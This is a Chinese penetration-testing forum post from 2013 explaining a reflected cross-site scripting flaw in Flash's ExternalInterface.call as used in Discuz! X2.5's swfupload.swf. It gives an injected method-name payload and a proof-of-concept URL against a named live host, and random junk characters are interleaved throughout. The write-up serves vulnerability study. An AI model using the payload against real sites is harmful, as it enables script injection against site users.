中国网络渗透测试联盟
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
[打印本页]
作者:
admin
时间:
2013-2-23 12:50
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
7 M% T" x8 j/ K, H9 w/ N) y
1 H7 b8 `# n; q* t" [
flash.external.ExternalInterface.call($methodName, $parameter)
9 S) ?0 n- X1 T; S" | A* d" z9 N
在浏览器中执行的是
, o g0 F! f0 s) i7 p" @& o6 M
) V: S2 ~8 F1 B( d! \4 o
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
5 P4 g2 o; v2 J( F; {" T
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
; l4 F4 v: f" t5 d8 q" i
{# B8 w! j: s, H: o# O
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
; I# E2 D& {! E1 L; ~
$methodName = a())}catch(e){alert(/xss/)}//
% W+ D: ?- H$ I: ^0 i, I
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
( ^4 R9 @9 N4 }% S
! {# ~& k2 I0 @0 [+ f
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
( Q$ \$ B- A, X5 K8 h
1 S# W7 B' J% v6 u+ F+ N9 E: n) s
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
3 @ E1 x' E: B/ m& R H
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
. X2 t7 u7 ?/ [( I h
! f+ a5 ]" x' }6 t/ W
6 Y7 E+ E; w3 f$ S' k* j
l; l/ p1 ^! p4 f1 ]: P% X
漏洞文件:upload\static\image\common\swfupload.swf
" ]. T/ j/ m( c8 g, q- d( @
$ n0 W4 k! x' E9 V, }
原始SWF下载:
http://swfpoc.appspot.com/vul/discuz_swfupload.swf
* k( Z9 m' z' @* U* T0 T
2 ~5 f" m- M' Z6 z7 N, w
! z8 s2 X: Y3 x# T I" [
漏洞证明:
http://bbs.open.qq.com/static/im ... d.swf?movieName=%22
])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
) i+ {1 ^7 I, Y1 |9 l
, d$ T0 {, _; T4 h1 _
! C' ]& G8 x' c* [) C+ K
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2